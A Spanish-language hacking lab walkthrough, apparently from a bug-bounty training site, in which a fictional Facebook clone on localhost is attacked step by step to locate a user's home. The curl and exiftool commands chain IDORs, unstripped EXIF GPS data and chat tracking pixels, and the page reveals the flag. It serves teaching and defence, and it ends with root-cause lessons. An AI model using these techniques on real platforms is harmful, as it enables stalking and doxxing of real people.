Geolocalización de la dirección real de una usuaria en una red social (EXIF GPS + IDOR + IP-leak por chat)
Clon de Facebook: encadena EXIF GPS sin depurar, IDOR de perfil, sesiones, lugares y álbum privado, y una fuga de IP por el chat con bot víctima, hasta geolocalizar la casa de una usuaria.
Este hackeo se reportó sin recompensa
Aprende a encontrar este bug
Un hackeo real de HackerOne, reproducido para que lo practiques.
Crea tu cuenta y practica bugs reales que se pagaron. Descarga el entorno, encuéntralo y aprende la técnica exacta — tu camino a tu primer bounty.
hunters entrenando
labs de hackeos reales
completaciones
pagados por estos bugs
Acceso a todos los labs · sin permanencia · cancela cuando quieras
Hackers que lo han resuelto· 1
Objetivos
Logro que recibirás
Cuando resuelvas este lab desbloqueas este logro compartible

Writeups de la comunidad
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Contenido del lab
Escenario
Amistia es la red social donde media España cuelga sus fotos de vacaciones, comenta el partido y organiza quedadas por Messenger — un calco de Facebook hasta en el azul corporativo, con Seguridad e inicio de sesión, "Lugares en los que has estado", grupos y eventos incluidos. Trabajas para un despacho que audita el over-sharing de datos personales en redes sociales, y el cliente te ha puesto un reto muy concreto: sin ser "amigo" de nadie, sin phishing y sin tocar la base de datos, demuestra hasta dónde puede llegar un desconocido tirando solo de lo que la propia app deja ver.
Entras con una cuenta normal, attacker@amistia.local. En la barra lateral, "Personas que quizás conozcas" te sugiere a Elena Vidal Serra — tenéis varios amigos en común pero ella nunca te ha añadido. Tu misión: reconstruir la dirección exacta de su casa combinando el chat, sus fotos, su perfil y sus ajustes de cuenta, y demostrar que ninguna de las puertas que encuentres es un golpe de suerte aislado sino el mismo fallo de diseño repetido en media docena de sitios distintos.
Qué tienes
- Cuenta demo:
attacker@amistia.local/password123(usuariomarco.ferrer, Marco Ferrer Lozano) — punto de partida, NO la vulnerabilidad. - Varios amigos en común con Elena (Hugo Sáez, Iván Torres, Claudia Reyes, Sergio Molina) que hacen que aparezca en "Personas que quizás conozcas" — tu hilo de recon inicial; no eres su amiga.
- La herramienta "Enlaces con estadísticas" de Amistia (
POST /api/tracker/links), que te da a la vez un pixel de seguimiento (/api/track/<token>.gif) y un enlace compartible (/l/<token>) para colarlos por el chat. exiftoolen tu máquina, para leer lo que cada foto guarda además de los píxeles.
Guía paso a paso
Ubica a la objetivo. En la barra lateral, "Personas que quizás conozcas" (
GET /api/suggestions) te propone a Elena Vidal Serra con varios amigos en común. Al abrir su perfil, el cliente disparaGET /api/users/<id>— su id (3) queda visible en DevTools → Network en cuanto navegas a su perfil:TOKEN=$(curl -s -X POST http://localhost:1901/api/auth/login \ -H 'Content-Type: application/json' \ -d '{"email":"attacker@amistia.local","password":"password123"}' | jq -r '.token') curl -s http://localhost:1901/api/suggestions -H "Authorization: Bearer $TOKEN" | jq # → { "suggestions": [{ "id": 3, "username": "elena.vidal", "mutual_count": 4, ... }] }Confirma que es ella (V12, breadcrumb de recuperación de cuenta). Sin ni siquiera loguearte podrías haber confirmado identidad y región por "¿Olvidaste tu contraseña?" — pantalla real de Facebook ("¿Es esta tu cuenta?"):
curl -s -X POST http://localhost:1901/api/auth/forgot \ -H 'Content-Type: application/json' \ -d '{"email":"elena.vidal@correo.local"}' | jq '.account' # → { "region": "Barc***", "phone_hint": "••• ••• ••7", "email_hint": "e•••@•••.local" }No sirve la flag — es un breadcrumb: confirma que "esta Elena" es la buena y que vive en Barcelona antes de invertir tiempo en las puertas reales.
Puerta A — las fotos que no olvidan (V1, EXIF/GPS, vector estrella). Ve a su perfil → Fotos. El listado (
GET /api/users/3/photos) respeta la privacidad y solo enseña las de su álbum público, pero eso basta: abre una en el visor "theater" y usa···→ Descargar. Amistia presume de conservar la calidad original — el archivo que baja es el original con el EXIF intacto:curl -s http://localhost:1901/api/photos/1/file \ -H "Authorization: Bearer $TOKEN" -o elena.jpg exiftool elena.jpg # GPS Position : 41 deg 23' 41.46" N, 2 deg 9' 45.18" E # User Comment : Carrer de Provença 287, 3º 2ª — 08037 Barcelona · # Ref. reparto interno: FLAG{a5da220855447e34ebb11ac7c264e11b}Para demostrar que no es un truco del laboratorio: sube una foto tuya con GPS (
POST /api/photos, multipart) y vuelve a descargarla — sale con el mismo EXIF intacto. Súbela como avatar (POST /api/photos/avatar) en cambio, y sale limpia: esa asimetría (avatar vs. foto de post/álbum) es la pista de por qué el bug es real y no un accidente puntual.Profundiza el EXIF (V9): el dispositivo, el instante y una miniatura que no debería estar. Pasa
exiftoolsin filtros (no solo-gps:all) y vuelca muchos más tags de los que esperabas:exiftool elena.jpg # Make : Apple # Camera Model Name : iPhone 14 Pro # Lens Model : iPhone 14 Pro back triple camera 6.86mm f/1.78 # Software : Amistia para iOS 3.2.1 (iOS 16.5.1) # Date/Time Original : 2026:07:19 21:12:44+02:00 # Serial Number : DNPB4K21Q1GCEl
Softwareconfiesa que la foto se subió desde la propia app; elDateTimeOriginalcasa con su post "Por fin en casa" (paso 12). Adelántate ahora al álbum privado 🔒 (paso 13) y compara el serial entre una foto pública y una privada:curl -s http://localhost:1901/api/photos/6/file \ -H "Authorization: Bearer $TOKEN" -o privada.jpg exiftool -SerialNumber elena.jpg privada.jpg # elena.jpg : Serial Number : DNPB4K21Q1GC # privada.jpg : Serial Number : DNPB4K21Q1GC ← mismo dispositivo → misma dueña, # aunque el álbum privado no lleve su nombreY el golpe de gracia: la foto a resolución completa recorta el número de portal, pero la miniatura EXIF embebida es la versión sin recortar:
exiftool -b -ThumbnailImage privada.jpg > thumb.jpg # abrir thumb.jpg → se lee la placa "Carrer de Provença" y el número 287Puerta B — el candado que solo pinta el cliente (V2, IDOR de perfil). En la pestaña Información de Elena, la fila
Direcciónlleva el badge 🔒 Solo yo y no se pinta. Pero el detalle de perfil que ya cargó tu navegador para dibujar la cabecera esGET /api/users/<id>— ábrelo en Network o pídelo tú mismo:curl -s http://localhost:1901/api/users/3 \ -H "Authorization: Bearer $TOKEN" | jq '.user | {home_address, home_address_note, lat, lng, privacy}'El JSON trae
home_address,home_address_note(con la flag) ylat/lngexactos, conprivacy.address:"self"— el backend sirve exactamente lo que el badge promete ocultar.La misma puerta por otra cerradura (V7, "Ver como público"). El propio perfil ofrece el botón "Ver como público" (feature real de Facebook). Su preview es
GET /api/users/:id/about?view=:curl -s "http://localhost:1901/api/users/3/about?view=public" \ -H "Authorization: Bearer $TOKEN" | jq '.about.contact'El bloque
contact(dirección + nota + teléfono + email) viaja completo aunqueview=publicdebería recortarlo — segunda confirmación de la misma dirección + flag, sin depender del endpoint del paso 5.Puerta B, otra vez: "¿Dónde has iniciado sesión?" (V8, IDOR de sesiones). Tu propia página de Seguridad e inicio de sesión abre con
?userId=<tu id>(auto-descubierto, igual que/api/auth/me). Cambia el id por el de Elena:curl -s "http://localhost:1901/api/security/sessions?userId=3" \ -H "Authorization: Bearer $TOKEN" | jq '.sessions[] | {device, ip, city, lat, lng, place_label, current}' # → { "device": "iPhone 14 Pro", "ip": "88.16.203.44", "city": "Barcelona", # "lat": 41.39485, "lng": 2.16255, "place_label": "Barcelona · Eixample", "current": 1 }Su sesión activa trae la IP pública y las coordenadas exactas de dónde está conectada ahora mismo (= su casa) — sin bot, sin chat, y con la misma IP que verás en el panel de hits del paso 9. Confirmación independiente de la casa y de la IP.
Puerta C — el chat que la delata, canal 1: GIF insertado (V3, IP-leak + bot víctima). Crea tu propio "Enlace con estadísticas" y mándaselo a Elena disfrazado de GIF (
GIF → Insertar enlaceen Messenger):# 1. Mintas tu propio pixel de seguimiento curl -s -X POST http://localhost:1901/api/tracker/links \ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d '{"label":"Mira esto 😄"}' | jq # → { "link": { "token": "<TOKEN>", "target": "/api/track/<TOKEN>.gif", ... } } # 2. Se lo envías como imagen remota curl -s -X POST http://localhost:1901/api/messages \ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d '{"recipient_username":"elena.vidal","body":"Mira esto 😄","image_url":"/api/track/<TOKEN>.gif"}' # 3. Esperas el dwell del bot (2-5 s) y vigilas el monitor curl -s http://localhost:1901/api/bot/activity -H "Authorization: Bearer $TOKEN" | jq # → "Elena abrió un mensaje de @marco.ferrer" / "Elena cargó la imagen de tu mensaje" # 4. Lees el panel "¿Quién abrió tu enlace?" curl -s http://localhost:1901/api/tracker/hits -H "Authorization: Bearer $TOKEN" | jqEl hit trae
ip_public(88.16.203.44),city(Barcelona),lat/lngyhome_addresscon la nota — tercera puerta a la misma flag, disparada por el navegador (simulado) de Elena, no por ti.Puerta C-bis — el mismo chat, canal 2: un enlace también delata (V11, link-preview unfurl). El mismo token del paso 8 también sirve como enlace compartible
/l/<TOKEN>con etiquetas OpenGraph. Esta vez lo pegas como texto plano, sinimage_url— Amistia genera una tarjeta de vista previa igual que Facebook:# (Opcional) confirma tú mismo la mecánica antes de esperar al bot: curl -s -X POST http://localhost:1901/api/link-preview \ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d '{"url":"http://localhost:1901/l/<TOKEN>"}' | jq # → { "preview": { "title": "Amistia", "image": "/api/track/<TOKEN>.gif", ... } } # ← la imagen de la tarjeta ES el pixel del colector curl -s -X POST http://localhost:1901/api/messages \ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d '{"recipient_username":"elena.vidal","body":"Mira esta ruta: http://localhost:1901/l/<TOKEN>"}' # Esperas el dwell y vuelves a mirar monitor + panel curl -s http://localhost:1901/api/bot/activity -H "Authorization: Bearer $TOKEN" | jq # → "Elena expandió la vista previa de tu enlace" / "Elena cargó la imagen de la tarjeta" curl -s http://localhost:1901/api/tracker/hits -H "Authorization: Bearer $TOKEN" | jq # → nuevo hit con la MISMA flag — esta vez disparado por un enlace, no por un GIFVisualmente, la tarjeta de enlace es indistinguible de un GIF normal para Elena — pero el mecanismo (una imagen que carga su navegador con su sesión) es idéntico al del paso 8.
Refuerzo — "Cerca de ti" no redondea en el servidor (V4). La UI de "Cerca de ti" solo pinta un bucket (
A 3 km). Mira la llamada real:curl -s http://localhost:1901/api/nearby -H "Authorization: Bearer $TOKEN" | jqEl JSON trae
lat/lngexactos de cada amigo que comparte ubicación, incluida Elena — las mismas coordenadas que el EXIF de sus fotos.Refuerzo — su historial de "Lugares" converge en la misma casa (V10, IDOR de agregación). La pestaña "Lugares" de tu propio perfil llama
/api/users/<tu id>/places. Cambia el id:curl -s http://localhost:1901/api/users/3/places -H "Authorization: Bearer $TOKEN" | jq '.places[0:3]' # → [{ "name": "Casa", "category": "Residencia", "lat": 41.39485, "lng": 2.16255, "count": 128 }, # { "name": "Cromia Studio", "category": "Trabajo", ... }, # { "name": "Cafè de Provença", "category": "Cafetería", ... }]"Casa" es el lugar con más visitas (
count) — y cae exactamente sobre las mismas coordenadas que el EXIF (paso 3), Nearby (paso 10) y la sesión activa (paso 7). Cuarta confirmación independiente de la misma casa.Refuerzo — el check-in que nadie debería ver (V5, IDOR de post). El feed filtra por audiencia y amistad (
GET /api/posts), pero el detalle no. Su postfriends"Por fin en casa" es elid=4:curl -s http://localhost:1901/api/posts/4 -H "Authorization: Bearer $TOKEN" | jq # → { "post": { "audience": "friends", "location_name": "Casa", # "location_lat": 41.39488, "location_lng": 2.1625, ... } }Coordenadas del check-in sin que se compruebe amistad.
Refuerzo — el álbum con candado 🔒 (V6, IDOR/WCD de foto privada). El álbum privado de Elena ("Personales 🔒") no aparece listado en Fotos, pero sus fotos (ids 5 y 6) son contiguas a las del álbum público (ids 1-4). Ni
GET /api/photos/:idniGET /api/photos/:id/filecomprueban la audiencia del álbum:curl -s http://localhost:1901/api/photos/5/file \ -H "Authorization: Bearer $TOKEN" -o privada2.jpg exiftool privada2.jpgMismo GPS de casa, esta vez sobre contenido que la interfaz declara protegido — refuerza la Puerta A (y ya viste en el paso 4 que el
SerialNumberde la foto 6 coincide con el de la 1).Confirma el punto ciego / verifica. El EXIF de sus fotos (pasos 3-4), el JSON de perfil/"Ver como"/sesiones (pasos 5-7) y el panel de hits del colector — por GIF o por enlace (pasos 8-9) — devuelven la misma
home_address/home_address_note, la mismaFLAG{a5da220855447e34ebb11ac7c264e11b}, corroborada por Nearby, "Lugares" y el check-in (pasos 10-12). Ninguna puerta es la única: si una se hubiese parcheado, las demás seguirían filtrando la casa de Elena.
Canales de feedback (no vuelas a ciegas)
exiftoolimprimeGPS Position+User Comment(y, sin filtro,Serial Number/DateTimeOriginal) al instante tras la descarga — confirmación inmediata sin ambigüedad. El mismo serial en una foto pública y otra privada confirma la misma dueña; la miniatura extraída se ve a simple vista.- DevTools → Network: el diff entre lo que pinta la UI (badge 🔒 "Solo yo", bucket "A 3 km", mapa de "Lugares") y lo que trae el JSON confirma cada IDOR según lo abres. La IP de la sesión activa de Elena (V8) coincide con la de los hits del colector (V3/V11) — correlación cruzada entre dos paneles distintos, sin necesitar al bot.
- El monitor
GET /api/bot/activitynarra en 2-5 s cuándo Elena abre tu mensaje y carga la imagen (o expande tu enlace); el panel de hitsGET /api/tracker/hitsmaterializa su IP/geo — doble canal para los dos únicos pasos genuinamente ciegos (V3 y V11). - Cada endpoint por id/query responde
200con el campo filtrado (o404/vacío si no aplica) — nunca hay que adivinar un payload, solo enumerar ids visibles y leer la respuesta.
Decoys (descártalos por razonamiento acotado)
- Avatares/portada de Elena. Pásales
exiftooly salen limpios:sharp/el depurador propio los re-encodea al subirlos. Un soloexiftoolsobre el avatar te dice que el vector EXIF vive en las fotos de post/álbum, no en el retrato de perfil. - Marketplace ("a N km").
GET /api/marketplacesolo devuelvecity/distance_bucket, nunca coordenadas de vendedor — contraste directo con Nearby (que sí sobre-comparte) en una sola inspección de Network. GET /api/config. Config pública jugosa a primera vista (feature flags, CDN base) pero sin secretos, PII, geo ni flag — descartable en una lectura.- Enlace externo en el chat. Pega en un mensaje un enlace que NO sea de Amistia:
POST /api/link-previewresponde{preview:null}(sin imagen) y el bot lo registra como "REJECT off-origin" sin cargarlo ni expandirlo. Un intento basta para concluir que el leak exige el enlace propio (/l/<token>), igual que V3 exige el pixel propio. - Sesiones/Lugares de la cuenta admin. El mismo IDOR de los pasos 7 y 11 apuntado a
userId=1/GET /api/users/1/placesdevuelve listas sin IP ni coordenadas útiles (nulls). El bug es real para cualquier id — pero solo "paga" si apuntas a una cuenta con geo sembrada.
La falla del laboratorio
Clase: CWE-200 (Exposure of Sensitive Information) como raíz común de los doce vectores, con CWE-639 (IDOR: perfil, sesiones, lugares, check-in de post, foto de álbum privado — el mismo patrón repetido cinco veces en ficheros distintos), CWE-525 (información sensible servida con Cache-Control: public, max-age=3600 en /api/photos/:id/file) y CWE-359 (exposición de información privada de geolocalización). OWASP A01:2021 (Broken Access Control) + A04:2021 (Insecure Design).
La causa técnica se repite con variaciones sutiles: la app confía en que el cliente decide qué pinta, no en que el servidor decida qué entrega. El listado de fotos de un usuario sí filtra por audiencia, pero el acceso directo por id no repite esa comprobación. El feed sí filtra posts por audiencia y amistad, pero el detalle por id no. El serializador seguro se usa en listados y tarjetas, pero el detalle de perfil y el preview "Ver como" construyen la respuesta a mano y olvidan aplicar el mismo recorte. La página de "Seguridad e inicio de sesión" y la de "Lugares" repiten exactamente el mismo error: toman un id/userId de la petición y confían en que solo se les pedirá el propio, en vez de comprobarlo contra la sesión. Y en el chat, ninguna capa intermedia proxea ni reescribe la URL de una imagen remota (venga insertada como GIF o dentro de una tarjeta de vista previa) antes de que el navegador de quien la recibe la cargue con su propia sesión.
Ningún control de acceso adicional (roles, ACLs de amistad) habría bastado si el punto de comprobación vive solo en el endpoint "bonito" (listado) y no en el endpoint "feo" (acceso directo por id o por query param). La lección estructural es aplicar la autorización por objeto, en cada punto de acceso — incluidos los ajustes que "solo tú deberías ver" — y depurar EXIF de cualquier archivo servible públicamente, sin excepciones "porque es solo una foto de perfil".
Lección: un candado que solo dibuja el cliente no es un candado; si un dato es sensible, dejar de mostrarlo en la UI no basta — hay que dejar de devolverlo en cada endpoint que pueda alcanzarlo, incluidos los que nadie usa en el "camino feliz", y cada nueva feature ("¿dónde has iniciado sesión?", "lugares", "vista previa de enlaces") hereda la misma obligación de comprobar propiedad, no solo la de existir.
Laboratorio de vídeo educativo basado en la reproducción anonimizada (empresa ficticia Amistia) de técnicas reales de OSINT y geolocalización sobre redes sociales.
